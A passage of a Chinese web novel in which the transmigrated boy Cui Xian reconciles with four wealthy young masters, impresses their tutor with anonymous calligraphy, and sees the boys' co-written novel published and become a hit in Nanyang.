· 就这样,三天时间一晃而过。 这三天当中,裴家的小厮仆从、丫鬟管家,裴老夫人,都先后来敲门。 甚至连高奇也来了一趟。 他因自己冲动,为拆穿裴坚‘优秀大哥’一事而郑重道歉。 卧房里,床上。 裴坚沉默着翻了个身,没吭声。 他其实不怪高奇。 有什么资格怪别人呢,怪就怪他自己是个草包朽木。 却要逞强、打肿脸充胖子,在小弟面前装神童天才。 不,他没有小弟了。 这三天里,很多人都来叫门,唯独没有崔岘。 自那日在学堂,听到裴坚被学子们嘲笑草包后,崔岘就像是凭空消失了一般。 多半是走了。 或许正在街头巷尾徘徊,寻找下一个‘优秀大哥’呢! “枉我平日对你那么好!可你呢,说走就走了!” 裴坚烦躁的把自己蒙进被子里,气愤的想:“走吧走吧,走了就不要回来!你不理我,我也懒得理你!少爷我这辈子都不会理你了!” 恰逢这时候—— “大哥!” “哎!” 裴坚一咕噜从床上爬起来。 片刻后他反应过来,神情羞恼。 外面,崔岘道:“开门,你出来。” 卧房里有片刻的沉默。 接着。 在丫鬟小厮们惊喜的注视下,少爷紧闭三天的房门,终于打开了! 裴坚表情憔悴。 因为三日没见阳光,开门的瞬间,被刺的下意识眯起眼。 等看清楚一院子的人后,他当即被吓了一跳。 裴家的丫鬟小厮,裴老夫人,以及高、庄、李三家的长辈们,包括他的三位损友,竟然全都在场。 而崔岘则是坐在门口的台阶上,手里像是虚捧着什么东西。 一如前些日子,他们在街头第一次碰面那般。 裴坚愣住了。 鬼使神差的,他好像懂了崔岘的意思,但又不是很确定。 于是忐忑在崔岘身边的台阶坐下。 崔岘将手中虚捧的‘东西’故意往后藏了藏。 就这么一个细小的动作,让裴坚眼泪都跟着流了出来。 因为,这正是当时崔岘认他做大哥的场景啊! 裴坚抹了一把眼泪,学着当时的语气,颤声道:“本少爷家里有的是钱,能惦记你那仨瓜俩枣?究竟什么东西,让我看看。” 崔岘把手递过来:“看吧,四个摩喉罗。” 裴坚扫了一眼。 他以为,自己这次依旧会看到一团‘空气’。 但在崔岘把手递过来的瞬间,裴坚眼睛突然瞪得滚圆。 他不可置信的又看了好几遍,神情莫名激动。 不仅裴坚。 李鹤聿、高奇、庄瑾三人也张大了嘴巴。 在院子里其余人茫然的注视下。 四个小少爷,齐刷刷围了过来。 裴坚指着崔岘掌心那物件,磕磕巴巴道:“是……是吧!” “是的是的!” “绝对是的,太帅了!” “虹猫少侠!” 原来。 崔岘张开手后,上面放着一个精巧的‘摩喉罗’。 一只满身侠气、目光坚定的红色俊猫,身穿白色对襟唐装,手持长虹剑,挽出一个漂亮的剑花。 它看起来惟妙惟肖,在阳光的辉映下,流光溢彩,熠熠生辉。 天呐! 这种故事里的人物,骤然来到现实的惊艳与震撼,简直令人头皮发麻。 最近三日,崔岘没有露面。 因为他去找工匠李帮忙,去烧制‘虹猫少侠’的摩喉罗了。 崔岘看向神情激动的裴坚,道:“那日在集市上,我说你砸坏了我的摩喉罗,你赔了我十两银子,于是我认你做大哥。” “后来我发现,你没有那么优秀,也不是神童天才。” 听到这里,裴坚脸色一白。 却见崔岘笑着把虹猫少侠的摩喉罗递过来,眼神真挚:“可是没关系啊,没那么优秀的大哥,也是大哥。” “大哥给的十两银子是真的,小弟给的摩喉罗,也得是真的。” “所以大哥,收下吧。” “对不起,先前欠你的摩喉罗,拖到今日才兑现。” 裴坚闻言,眼泪再也止不住,嚎啕大哭。 他颤抖着接过摩喉罗,哭道:“不,不要跟我说对不起,我才应该跟你说对不起。因为是我骗了你!” “我祖父、父亲是举人老爷,但我从小却是根朽木,不学无术,荒废学业。” “让家里人失望,被旁人嘲笑。” “我从来没有被人如此夸赞、崇拜过,你是头一个!所以我忍不住啊,我想做你心目中最优秀的大哥。” 裴坚哭的稀里哗啦。 其余三位少爷也跟着抹眼泪,因为他们同样感同身受。 “是啊岘弟,被你夸赞是南阳四大才子的时候,你都不知道我们有多开心。” “可惜……从小到大我们听到的,只有嘲讽和奚落。” 院子里。 四家长辈们,看着掉眼泪的四位少年,怔怔无言。 这是他们头一次了解到自家孩子的真实想法。 原来,表面看似什么都不在乎的混世小魔王,心底也有脆弱的一面。 听完四位少爷的哭诉。 崔岘笑了笑,看向李鹤聿、高奇、庄瑾:“你们还记得,我刚才跟我大哥说了什么吗?” 什么? “我说,我手里有四个摩喉罗。” 崔岘说着,在三位少爷惊喜的注视下,又从怀里取出了三个同样的虹猫少侠摩喉罗。 然后,一人送了一个。 三人激动的脸色发红,磕磕巴巴的说道:“我,我们也有吗?” “当然了!你们是我大哥的朋友,也是我的朋友啊。” 崔岘笑道:“虽然我现在知道了,你们没有先前我想的那么优秀,可是谁生来就是天才呢?” “人生总有黑暗无助的时候。” “就像虹猫少侠,不也是经历磨难,这才铲除魔教,拯救天下苍生了吗?” “现在咱们几个,就是虹猫少侠。那些嘲笑我们的人,就是‘魔教’。” “难道你们甘心被邪恶势力打倒吗?” 说到这里。 崔岘伸出拳头,脸上满是灿烂笑意:“我知道,你们肯定不愿意的,我也不愿意!” “那么,虽然暂时没那么优秀、身处低谷,但却依旧勇敢、无畏、不服输的少侠们,要不要一起,向邪恶势力、向命运宣战呢?” “不管以前如何,从今天起,我们,不做废柴啦!” 这番话,好燃! 四位少爷看着手中惟妙惟肖的虹猫少侠,激动到热泪盈眶,纷纷伸出拳头。 “对对,我们要和虹猫少侠一样,不服输!” “振作起来,不做废柴了!” “岘弟,虽然我不是全世界最优秀的大哥,但你绝对是全世界最优秀的小弟!” 院子里。 五位少年拳拳相撞,又哭又笑。 他们眉眼那么稚嫩,正年轻着,鲜活着,成长着。 一群大人们看的眼泪汪汪,满脸欣慰。 “好孩子,都是好孩子啊!” 31、夫子震撼惊呼旷世奇才(上) 四位少爷和好了。 于是捡起笔,继续共同著写《虹猫蓝兔七侠传》。 这次,裴坚不装了。 他羞愧的看向崔岘,赧然道:“岘弟,是大哥没用。你构思了这样精彩的故事,我却把它写的一塌糊涂。” 说实话,裴坚也想好好写。 但实力不允许啊! 其余三位纨绔同样神情懊恼。 看着自己写出来的鬼东西,李鹤聿叹了口气,试探性提议道:“要不……我们帮岘弟请个秀才代笔?” 他们文笔太烂,怕耽误了一个好故事啊! “不行!” 崔岘想也不想便拒绝了,认真道:“说好的向虹猫少侠一样,不服输,不做废柴呢?找别人代笔,如何让学堂里的人,对四位兄长刮目相看?” 说得对! 他们四个现在,心里其实也憋着一口气。 骂少爷我是废柴朽木,是吧? 且等老子把《虹猫蓝兔七侠传》著写出来,你们惊艳瞠目,如痴如醉翻阅的时候! 真是想一想都让人觉得热血沸腾,干劲十足啊! 不,除了干劲儿。 还要再来一点刺激。 四位纨绔鬼鬼祟祟互相对视。 随后。 裴坚从书箱里掏出一本《龙文鞭影》,对崔岘道:“岘弟,我来带你读一遍此书。待会儿我们写话本,你回卧房背书。等会背了,我们要检查。” “好的大哥。” 崔岘跟着裴坚读了一遍,而后拿着书出门。 四位少爷心想,岘弟虽然是神童,跟着读一遍书就认识了。 但背书比识字更难。 《龙文鞭影》有四千多字,从二十四史、《庄子》、和各种神话传说中摘录、足足涉及两千多个典故。 是启蒙书籍中最难的一本。 当时,裴坚等人开蒙,曾被这本书折磨到哇哇崩溃大哭。 从会读,到会背诵,足足用了好几个月呢! 也不知岘弟要用多久时间。 但,肯定不需要好几个月! 四位少爷想看看自己同天才之间的差距,好刺激他们上进。 但万万没想到,会这么‘刺激’! 约莫一下午过去。 崔岘推开书房门回来。 裴坚正绞尽脑汁、遣词造句著书,头也不抬的问道:“岘弟,是到用晚膳的时间了吗?这一下午过的好快。” 崔岘眨眨眼:“尚且还没到晚膳时间,我把《龙文鞭影》背会了。” 房间里霎时间陷入沉寂。 许久后。 庄瑾磕磕巴巴的问道:“……真的背会了吗?” 崔岘一摊手:“对啊,会读以后,不就会背了吗?你们不是这样的?” 四人:“……” 那我们真不是这样的呢。 眼看没人说话,崔岘开始自顾自背书。 “粗成四字,诲尔童蒙。经书暇日,子史须通。” “重华大孝,武穆精忠。尧眉八彩,舜目重瞳。” 他口齿清晰,抑扬顿挫,背诵的一字不差。 四人沉默着听完。 裴坚深吸一口气:“今晚少爷我不睡了!点灯苦读!” 庄瑾脸色苍白:“太变态了,太变态了!” 李鹤聿神情恍惚呢喃:“这世间,竟有岘弟这般妖孽天才!” 高奇一屁股坐到地上:“刺激,太刺激了!” 看着怀疑人生的四位少爷,崔岘嘴角浮现出一抹邪恶的笑意。 菜,就多练。 努力卷起来吧,小菜鸡们。 · 有这样一位妖孽天才小弟,四个大哥真的被卷起来了。 他们重新回到学堂,不顾同窗们的议论,沉下心来,更加努力听课、著书。 多半个月时间一晃而过。 经过四人夜以继日努力,《虹猫蓝兔七侠传》的前半部,终于写完了。 因为对自己的水平心中有数。 裴坚带着三位损友,找到吴夫子:“学生写了半部话本,劳烦夫子帮忙指点、斧正。” 这段时间,他们是真用功。 有时吴清澜路过学舍,都能看到四位少爷一边吃饭,一边著书的忙碌身影。 因此。 吴夫子难得态度和煦,接过《虹猫蓝兔七侠传》的前半部手稿。 裴坚四人在旁边,紧张观察夫子的表情。 看着那手稿上丑陋的字迹,吴夫子眉头狠狠蹙起。 强忍住怒意,他开始看书。 一开始,他嫌弃的心想:“写的什么玩意儿,魔教大军压顶,描述的太差劲了!” 后来,吴清澜越看越入迷:“有点东西!” 抛开拙劣的文笔不谈。 这个故事,当真跌宕起伏、恢弘壮阔、精彩绝伦、有血有肉啊! 有道是:士别三日,当刮目相待。 曾让他头疼不已的四位纨绔草包,竟写出了如此惊艳的话本。 吴夫子甚至顾不上夸赞,拿着手稿迫不及待翻阅,神情如痴如醉,越发激动。 等翻到了最后一页。 吴夫子一呆,急急看向裴坚四人:“接下来呢!接下来的故事呢?” 裴坚忍笑道:“还没写。” 还没写?! 怎么能还没写呢! 你知道话本看到一半没了的心情有多痛苦吗? 吴夫子怒道:“那你们还站在这里干什么,赶紧去写啊!这半部手稿,我来替你们润色!” 裴坚四人互相对视,笑的格外得意畅快。 因为吴夫子已经用行动说明,他们这半部话本,写成功了! 这种感觉,好爽啊。 唯独看不到结尾、被钓到心痒难耐的吴清澜,急的抓心挠肺。 吴清澜不知道,趁着他沉浸到话本故事里的时候。 默默躲藏大半个多月的崔岘,再次偷偷去了耳房。 他这么久没来,原本一直留意着耳房的仆从,自然就懈怠了。 崔岘站在案前,细细研墨。 这一次,他决定不再保留实力,正式用右手写字帖。 《虹猫蓝兔七侠传》即将出版。 崔岘之名,很快会在裴坚等人的助力下,名扬整个南阳县城。 但写话本终究是小道。 也是时候,给自己精挑细选的‘第一位观众朋友’,带来一点小小的震撼。 铺垫了这么久,该到‘天才神童’隆重出场了! 学堂里读书声阵阵。 无人在意的耳房里。 崔岘眉眼专注,右手执笔,默默回想上一世,自己临摹过书圣字帖百次、千次的场景,没来由心生豪迈。 正所谓:书生意气,挥斥方遒! 在古代重活一世,他如今又正年少。自然该写出激扬文字,为自己、为崔家谋个璀璨将来。 故事里,虹猫少侠举起了长虹剑。 故事外,崔岘将毛笔放进砚台,浸染墨汁。 剑出,贯长虹! 笔落,惊风雨! 他崔岘,誓要青云直上,做那万户侯! 32、夫子震撼惊呼旷世奇才(下) 裴氏族学。 “兄弟们,回家继续干活咯!” 看到吴清澜的反应后,裴坚神情超得意。 如果他有尾巴的话,此刻估计早就翘到天上去了。 其余三位纨绔少爷,同样表情贱兮兮的。 唯独捏着前半部话本,被钓成翘嘴的吴清澜焦急嘱托道:“回家了好好写,赶紧写,写完了第一时间拿来给老夫看……咳,给老夫帮忙斧正,听到了吗?!” 裴坚没有第一时间吭声。 庄瑾在旁边拿乔道:“再说吧,毕竟平时课业也挺忙的。” 吴夫子顿时被气到吐血,拿起手中的稿子,便作势要朝着庄瑾脑袋砸去。 庄瑾如泥鳅般躲开,对他做了个鬼脸:“臭老头,让你以后还敢骂少爷们是朽木!现在知道少爷们有多厉害了吧!” 这种让夫子大为惊艳的滋味,实在太爽啦! 吴清澜闻言脸色一红。 他确实被这本《虹猫蓝兔七侠传》深深吸引了。 四位纨绔见状,嘻嘻哈哈、勾肩搭背神气离开。 刚没走两步,裴坚疑惑道:“哎?岘弟呢!” “来咯。” 崔岘在远处回应一句,笑着小跑过来。 目送四个纨绔少爷离开,吴清澜心里仍旧在回味虹猫少侠的故事。 越回味越觉得精彩绝伦,他拿着半部手稿,没忍住继续翻阅,抬脚朝着耳房走去。 去耳房的路上,吴夫子和崔岘刚好擦肩而过。 崔岘打招呼:“夫子好!” 这孩子,好像是裴坚的书童吧。 吴清澜朝着他礼貌点头,但明显还在回味剧情,所以有些心不在焉。 余光里。 他瞧见崔岘跟裴坚四人汇合。 几人神情得意往外走,隐约还能听到他们的谈话内容。 “岘弟,你是不知道,方才老吴看话本的时候,表情时而激动、时而担忧,那叫一个精彩!” “后来看到一半没了,给他着急的哈哈哈!” “没想到古板的夫子,也会喜欢看话本,突然觉得他也没那么讨人厌了。” 听到这里,吴清澜抽了抽嘴角。 瞧给这四个小纨绔猖狂的! 而且,谁说夫子就不能喜欢看话本啦? 吴清澜幼时家贫,能读书已是奢望,自然是没闲钱、也没有时间看话本的。 再后来。 他一路顺利考中秀才,本想在科举考场继续一展宏图抱负。 但却多年都没能中举。 为了养活全家老小,吴清澜不得不放弃科考,受裴氏父子相邀,来族学做了夫子。 做夫子后,不必日日焦灼科考,自然也有闲情逸致看话本了。 大概,这是对小时候自己的一种变相补偿? 包括吴清澜授意,学堂里的书童、仆从,都可以来耳房练字。 他会给予指点。 那也是因为,吴夫子年幼的时候,缺乏老师教导。 如今自己做了夫子,吴清澜总是下意识,对那些出身寒微的学生,多一些照拂指点。 他在教书育人。 也在教授多年前、在简陋茅屋里独学寡闻、不慎求解的,那个年少迷茫的自己。 吴清澜在耳房案前坐下。 因为实在太喜欢《虹猫蓝兔七侠传》这个故事,他一坐下后,便迫不及待二次翻阅。 一边翻阅,一边心中思索着,该如何给这拙劣的文笔做润色。 真是白瞎了这么好的故事啊! 因为过于投入。 吴清澜甚至都没注意到,今日案上又悄然多了一张字帖。 可现在那张字帖,却被他带来的那一沓厚厚的话本手稿,压在了最下面。 “长虹剑,当真霸气!” “黑心虎这厮,竟然企图饮下麒麟血,当真痴心妄想!” 哪怕是第二遍翻阅。 吴清澜仍旧看的如痴如醉,又因为学生没在身边,他不必拘谨着,一边看,一边神情激动‘吐槽’。 案上的手稿一页、一页减少。 察觉到这一点的吴清澜,下意识翻慢一些,再慢一些。 但可恶的是,稿子还是很快便看完了。 而且仍旧看不到后续! 急死了! 等终于翻到最下面那一页,吴清澜恋恋不舍拿起来,遗憾心想,这一页看完就没咯。 做足心理准备后,他低头定睛阅读。 而后—— 吴清澜发出一声惊呼,甚至颤抖着拿起那张‘手稿’,猛然站了起来! 因为那最后一张,不是‘手稿’,是字帖啊! 熟悉的笔迹字帖! 和裴坚四人那拙劣、如鬼画符般的字迹不一样,这张字帖怎么说呢—— 怎么说呢! 天呐! 吴夫子激动的脸色涨红,用颤抖的手拿着那张字帖反复观看,甚至连一句囫囵话都说不出来。 但见那字帖上,是一封信,内容是这样的。 “暌违日久,未悉近况,问夫子安!” “一月余前,学生斗胆,来耳房写字。承蒙夫子指点,教导学生开蒙写字,学生不胜感激。” “如今回头看,先前第一次执笔写的字帖,属实不堪入目,夫子教训的极对。” “学生以后,必定勤加练习!望夫子莫要嫌弃。” 夫子不仅不嫌弃。 反而快要内疚、自责到碎掉了! 原来,一月前自己批下‘朽木不可雕也’的那张字帖,竟然是对方第一次执笔写出来的‘开蒙贴’? 等到了第二天。 此人便能模仿批语上‘朽木不可雕也’的笔锋?! 如今将近一月过去。 消失的那人,他又回来了! 这一次,字帖上的字仍旧隐隐有些熟悉,却和先前,出现了天差地别、堪称质的飞跃! 看得出来,执笔之人腕力不足,应该刚练字不久。 这不是废话! 人家就练了一个月! 但—— 不重要,腕力不足需要后天勤学苦练,先天资质,才是旁人倾其一生,都无法追赶的啊! 这篇字帖,惊艳之处,在意、在势、在韵、更在形与神的结合! 横,如千里阵云;点,如高峰坠石。 撇,如陆断犀象 ;折,如百钧弩发。 竖,如万岁枯藤;捺,如崩浪雷奔。 横折钩,如劲弩筋节! 甚至连造型结构,都有流畅奔放之美感。线条粗中有细,笔墨浓淡适宜,富有节奏韵律! 而最为让吴清澜惊艳的,是字帖当中的意境! 潇洒飘逸,书生意气! 书圣王羲之的笔法,随着崔岘一起,强势降临这个时代。 因此,吴清澜直接被震撼到失声。 “旷世奇才……旷世奇才啊!” 吴清澜喃喃激动自语。 更震撼的是,此人练就如此惊人书法,只用了短短……一个月?! 一个月啊!! 最震撼的是,他看了吴清澜‘朽木不可雕也’的批语,如今很有可能误以为自己是个‘庸才’! 想到这里。 吴清澜慌忙把自己先前批注‘朽木不可雕也’的字帖拿出来,表情欲哭无泪。 人甚至不能共情一个月前的自己。 若是时间倒流,他恨不得回到一月前,将自己狠狠抽打一顿! 完了,全完了! 这字帖的主人,日后勤学苦练,怕不是要‘立地成圣’、‘青史留名’的! 而他,吴清澜,会被史书狠狠记上一笔—— “给小时候的书圣评价朽木不可雕也,险些成为人类书法历史上最大的罪人。” 那些黑心眼的史官,最喜欢写这种东西了! 但,不重要。 重要的是,先把这位‘旷世奇才’找到,别真耽误了‘未来书圣’啊! 否则,自己真成罪人了。 想通这一点。 吴清澜急忙找到耳房小厮,颤声乞求道:“你看到了吗,看到刚才谁进耳房了吗!你最好告诉我你看到了,否则,老夫这辈子……不对,下辈子、下下辈子老夫也要完了!” 什、什么? 小厮闻言脸色大变,不明白发生了什么,慌乱哭道:“这……小的真没看见啊!” 33、此书不红,天理难容! 听到小厮的话,吴清澜一屁股坐到椅子上,喃喃道:“完了,全完了啊!” 所以究竟发生了什么? 怎么就完了呢! 你倒是把话说清楚啊! 小厮焦急又忐忑,险些哭出声。半天后才弄明白,原来是有人在耳房里写了一张字帖。 就……这?! “我去帮您打听一下。” 小厮松了口气,抱怨道:“就这么点事儿,让您说的,仿佛跟天塌了似的!” 真是夏虫不可语冰! 吴清澜怒道:“就你话多,还不赶紧去打听!” 小厮一缩脖子,脚底抹油溜了。 耳房里。 吴清澜先看看那张飘逸潇洒的惊艳字帖,再看看缺了后半部分的手稿,急到抓心挠肺。 他感觉自己现在像是一条被钓成翘嘴的鱼。 但仍旧迫不及待想吃钩上的饵料。 《虹猫蓝兔七侠传》的结局究竟是什么! 写下这张字帖的旷世奇才,又是谁? 急急急! 当然此时的吴清澜还不知道,把他钓成翘嘴的,其实从头到尾,都是一个人。 此后大半个月。 吴清澜都在这种焦急中,折磨度日。 因为那位‘旷世奇才’,他又消失了! 根本找不到! 先前为了照顾地位低下、却仍旧潜心向学的仆从书童。 吴清澜特地告知:来耳房练字者,不必留名。 他只管批阅、指点。 因为这些人往往自卑怯懦,有极强的自尊心。匿名批阅,会鼓励他们勇于过来练字学习。 就这,来耳房学习的仆从们都寥寥无几。 甚至书童们私下还嘲笑吴夫子:“真是书呆子!平时伺候少爷们已经够累了,谁乐意去练字?就算练了字,难不成就能做少爷啦?” 如今,吴清澜派人去打听,谁去了耳房练字。 自然是无人敢承认。 大家以为是自己写的不好,惹夫子不快了呢! 所以这段时间,原本去书房偷偷练字的仆从书童,全都不敢去了。 吴夫子急的,嘴上都起了个疮! 一想到自己将‘旷世奇才’骂作‘朽木’,他都异常难受、愧疚。 夜里更是辗转反侧,无法入睡。 该死! 我真该死啊! 因此,族学的学子们苦兮兮的发现,最近吴夫子似乎脾气非常火爆,一言不合就骂人。 当然被骂的最多的,还是裴坚四个纨绔。 “下一章节何时能写完?三日后?你们还能再磨蹭一些吗?” “太拙劣了,文笔太拙劣了!出了族学,别跟人家说我是你们夫子!” “这段废话太多全部删掉。” “写,快写啊!” 四位纨绔敢怒不敢言,被吴清澜折磨的几欲崩溃。 但正因为有吴夫子严格把关。 《虹猫蓝兔七侠传》才能得以似模似样的成功著出来。 当吴夫子把四位纨绔骂到狗血淋头的时候,似乎从未注意到,他们身边那位小书童。 甚至近些日子,崔岘都一直在他身边晃荡。 盖因裴坚几人的存在感太强了! 而吴夫子,难免便犯了‘灯下黑’。 《虹猫蓝兔七侠传》著出来那天,吴清澜终于看爽了,心情也好上不少。 难得没有再骂人。 而裴坚、庄瑾四人,则是欢呼着,带上手稿,和崔岘一起迫不及待冲出族学。 笑着目送他们离开。 吴夫子回到耳房,回味片刻话本的结局,而后心情又开始如坠崖般焦躁、急迫,自责。 桌案上,那张字帖下方,写满了密密麻麻的红色批语。 “善!” “真乃旷世奇才也!” “字字珠玑,句句生辉。潇洒飘逸,笔走龙蛇!” “完美!” “将来必成书法大家!” “我错了,我不该评价你为朽木,是我眼拙。” “你何时再来?我亲自向你道歉!” “你未来注定不可限量,我决定将你引荐给裴家的举人老爷!” 这些批语,墨痕浓淡不一。 显然并非同一天写的。 而是半个多月来,吴夫子每日将裴坚等人骂到狗血淋头后,回到耳房里小心翼翼批下的。 因为那字帖写的太好。 他都怕自己随意落笔,把字帖玷污了! 看着那张写满自己批语的字帖,吴夫子叹了口气,再次提笔蘸墨,写道: “你还在族学吗?千万要回来一趟啊!看到我的批语,立刻来寻我!” “一定要来啊!” “风里雨里,族学等你!” · 另一边。 裴坚、李鹤聿、庄瑾、高奇、崔岘五人,背着书箱,一路冲出族学,朝着庄家的书肆‘富文斋’跑去。 最近日夜忙碌著书,不得歇息。 四位少爷身体疲惫,状态憔悴。 但眼睛却格外亮堂,嘴角的傻笑,更是怎么都压不下去。 “岘弟,兄弟们,咱们马上要出名了!” “南阳四……不对,是南阳第一才子,和四大才子,名声即将响彻南阳城!” “哈哈哈哈哈老子这辈子都没如此认真干过一件事儿,明明累的要死,但现在满满都是成就感。” “接下来,我要南阳跟我姓!” “冲吧,虹猫少侠!” 他们在大街上狂奔,姿态嚣张,激动高呼。 路人纷纷避开,看向他们的目光犹如傻子。 一刻钟后。 南阳县城最大的书肆——富文斋。 庄瑾带领四个兄弟冲进去,大声嚷嚷道:“老赵!老赵呢,快出来!少爷我的书著好了!马上去印刷,七天之内,我要这本书铺满整个南阳县城的书肆!” 他猖狂的语气,惹得无数买书的顾客侧目。 “哎哟,少东家来啦,里面请里面请!” 富文斋赵掌柜热情将五个少年迎到雅间,好吃好喝招待着。 这才拿起庄瑾递来的文稿翻阅。 他早接到东家发话,说是少东家和几个朋友,著写了一个话本,让他帮忙印刷出版售卖。 赵掌柜心中苦涩。 这不胡闹吗! 就东家这纨绔儿子,能会著书? 还把著出来的书,铺满整个南阳县城的书肆,那不得赔死了啊! 虽然赵掌柜没把心里话说出来。 但裴坚,庄瑾几人都跟人精似的,自然看懂这掌柜的想法。 但他们也不恼,气定神闲喝茶歇息。 庄瑾还热情道:“岘弟,尝尝这里的桂花糕,可好吃啦。” “这个蜜饯儿也不错,让岘弟尝尝。” “岘弟喝茶吗?” 四位身份尊贵的少爷,围着那个陌生的俊俏小哥,端茶倒水好不熨帖。 赵掌柜心中一惊,这位‘岘弟’,是哪家公子,怎么瞧着眼生啊? 他一边敷衍的翻看手稿,一边心想着,自己待会儿该怎么忽悠少东家随便印刷几本话本,过过出版瘾算了。 同时也打听下这位陌生尊贵公子的身份。 哪曾想。 翻开那名为《虹猫蓝兔七侠传》的话本之后,随意看几眼,阅过无数话本,眼光贼毒辣的赵掌柜,便怔住了。 此后半个时辰。 赵掌柜时而神情激动,时而愤怒咬牙切齿,时而独自傻笑。 裴坚五人互相挤眉弄眼。 这时候。 砰! 翻阅完这本书的赵掌柜,猛然一拍桌子,看向被吓了一跳的几位少爷,神情激动:“印刷!这个话本一定要印刷出版!不止铺满南阳县城,我要把它铺满整个南阳府!” “此书不红,天理难容!” 34、红了,真的爆红了 富文斋。 方才态度隐有敷衍的赵掌柜,此刻激动到难以自持,两眼放光。 他甚至能猜到这本书出版后,大把银子进账的画面! 却不曾想。 庄瑾改变态度:“铺遍南阳府?是不是有点太过激进。算了,我再想想,暂时先不着急出版。” 赵掌柜闻言脸色一苦,赶紧讨饶:“是老头子我有眼无珠,少东家勿怪啊!您这话本,写的当真是精彩绝伦,天上有,地下无!” 庄瑾这才笑道:“那你觉得,这么优秀的话本,值多少钱。” 裴坚、李鹤聿、高奇闻言,纷纷看向赵掌柜。 唯有崔岘悠哉喝茶、吃糕点。 这便是有大哥的好处啊! 从写稿、到出版、上市、铺货,甚至讨价还价要稿酬,他全然不必操心。 只管拿钱。 然后在南阳县城狠狠扬名! 赵掌柜是个人精,谄媚笑道:“一口价买断的话,如此优秀的话本,能足足值20两!但若是您去找东家,东家一高兴,出的价,那可就远远是老头子我不能预估的了。” 这说的什么屁话! 庄瑾翻了个白眼,笑嘻嘻已读乱回:“我的天,你说这话本,竟然值30两?赵掌柜慧眼识珠!” 赵掌柜:? 没等他反驳。 裴坚也笑着点头:“是极是极,40两买话本,赵掌柜豪爽。” 李鹤聿紧跟着道:“什么,你说出价50两?” 高奇非常公正的一锤定音:“我说个数,60两,不能再多了!再多不合适。” 庄瑾站起来,朝着钱柜走去:“成交!我去取银子。” 赵掌柜脸色发白:“几位祖宗唉!什么话本能值60两!都快能抵上南阳县一户房产了!” 眼看掌柜的神情紧张。 崔岘这才道:“大哥,几位兄长,60两太多了,小弟不能占这个便宜。” 赵掌柜狠狠松了口气,感激看向崔岘:“敢问这位小公子是?” 庄瑾骄傲道:“崔岘,我们亲兄弟。你手中拿着的话本,就是他写的,我们四人只是代笔。” 如此年幼,竟能写出这般跌宕起伏的故事? 前途不可限量啊! 赵掌柜吃了一惊。 细细打量一番崔岘,又见四位少爷这热络姿态,他当即一咬牙:“小公子,我先付您30两稿费。以后这话本每卖出一本,富文斋给您十之提二的酬劳,每月末结算一次,如何?” 这属于非常厚道的价格了。 若今日崔岘是自己来的,赵掌柜绝对不可能给出这个数。 裴坚等人看向崔岘。 崔岘也不忸怩,爽快笑着点头:“那就多谢掌柜的了。” 一盏茶功夫后。 崔岘走出富文斋,怀里揣着30两巨款。 或者说‘小半套南阳县城的房产’。 以他这个年纪来说,真的是一笔巨款! 河西村崔家共八口人,埋头苦干、不吃不喝十年,都不见得能攒下这么多钱来。 感受着怀里鼓鼓的荷包,崔岘有些小兴奋。 穿越过来后,他终于进账了第一桶金。 如今马上便进入六月,娘即将生产,家里要忙着夏收。 离家许久,也是时候找个日子,‘富贵小还乡’了! 当然崔岘也知道,自己能赚到这么多钱,全凭好大哥们的帮扶。 因此他豪迈一挥手:“今日,我请大哥、和三位兄长吃顿好的!” 看崔岘开心,裴坚几人也不扫兴,直呼要去‘吃大户’。 等几位小少年欢呼着离开。 赵掌柜看着他们的背影,尤其是看着崔岘,喃喃道:“这位崔岘公子,将来必定会是个人物啊。” 年轻、有才气,还跟四位尊贵的少爷关系匪浅。 他日后岂会不得志? 自河西村离家后,崔岘作为小书童,厮混在少爷圈子里,十分不起眼。 就算得四位豪族长辈喜欢,也暂时没有展现才能。 如今,时机已成熟。 小书童崔岘,将正式打响名声,强势出现在大众视野—— 开始尽情发光! · 那日,崔岘足足花二两银子,请大哥们吃了一桌席面。 大哥们也不白吃。 李鹤聿归家后,急吼吼找到自己亲爹:“爹,我先前跟你说的事情,你没忘记吧!” 工匠李捧着《虹猫蓝兔七侠传》看的如痴如醉,闻言立刻保证道:“我儿放心!咱家七个印刷坊的工人,已经开始日夜印刷这部话本!你们写的太好了,为父真心为你骄傲!” 生平头一次被亲爹如此夸赞的李鹤聿,闹了个大红脸。 但心里却喜滋滋的! 另一边。 南阳首富比庄瑾更激动:“七日内,南阳所有书肆里,都至少要放二十本《虹猫蓝兔七侠传》!我儿出息啦,我儿出息啦哈哈哈!” 庄瑾撇撇嘴,佯装嫌弃亲爹大惊小怪,实则嘴巴都要咧到耳后根了。 高家。 千户大人正愧疚呢! 儿子高奇在跟他生气:“李鹤聿,庄瑾,裴坚家里都在为《虹猫蓝兔七侠传》帮忙出力,就你最拉胯!手下只有一堆帮不上忙的大头兵!” 千户大人尴尬道:“这……有了!过几日休沐,我让手底下的兵,去城里当托儿,逢人就夸《虹猫蓝兔七侠传》是本好书!” 他手底下足足一千士兵呢! 一千个托儿——好家伙! 高奇眼睛亮起来:“好好好,就这么搞!” 千户大人顿时眉开眼笑,自豪道:“真不愧是老子的种,儿子,你这次真是厉害啊!” 高奇得意道:“那是自然!” 裴家。 裴老夫人正喜气洋洋疯狂发请柬呢:“整个南阳城,凡是跟咱们家有往来的,都发帖子!让他们以前笑话坚哥儿是朽木,如今老婆子我,也能凭坚哥儿扬眉吐气啦!” 小少爷的别院里。 夏日炎热,蝉鸣阵阵。 裴坚提了一桶井水,和崔岘洗了个冷水澡,而后两人坐在树荫下,悠闲吃西瓜。 一边吃,裴坚一边傻乐。 崔岘不自觉也跟着笑:“大哥,你笑什么?” 裴坚眼神发亮,傻笑道:“岘弟,准备好了吗?你马上就要在整个南阳县城扬名啦!” 作为大哥,看自己小弟扬名,他比自己扬名都要开心。 崔岘闻言笑的更加灿烂:“不仅仅是我,大哥也要扬名了!” 对对! 裴坚一想到这个,也激动了,得意道:“届时我们隆重打扮一番,去族学。且让那些嘲笑我的人,惊掉一地眼珠子!” 七日后的早晨。 大批量壮汉走街串巷,在南阳城里吹嘘一本叫做《虹猫蓝兔七侠传》的话本。 各家夫人、小姐们,则是在裴家宴会上,也听说了这本书。 李家印刷坊昼夜不停运转。 富文斋,甚至整个南阳县城的书肆里,都摆上了《虹猫蓝兔七侠传》。 四个豪门家族倾力相助。 于是意料之中的—— 这本书,爆红了!! 35、崔家崔岘,惊艳扬名! “听说了吗,最近有个话本,写的特别好!” “哦?叫什么名字?” “叫做《虹猫蓝兔七侠传》,一般人我不告诉他。” “什么名字?” “《虹猫蓝兔七侠传》!千万别买错书了,记得只认准这本!” 一大早,南阳城里出现一桩怪事儿。 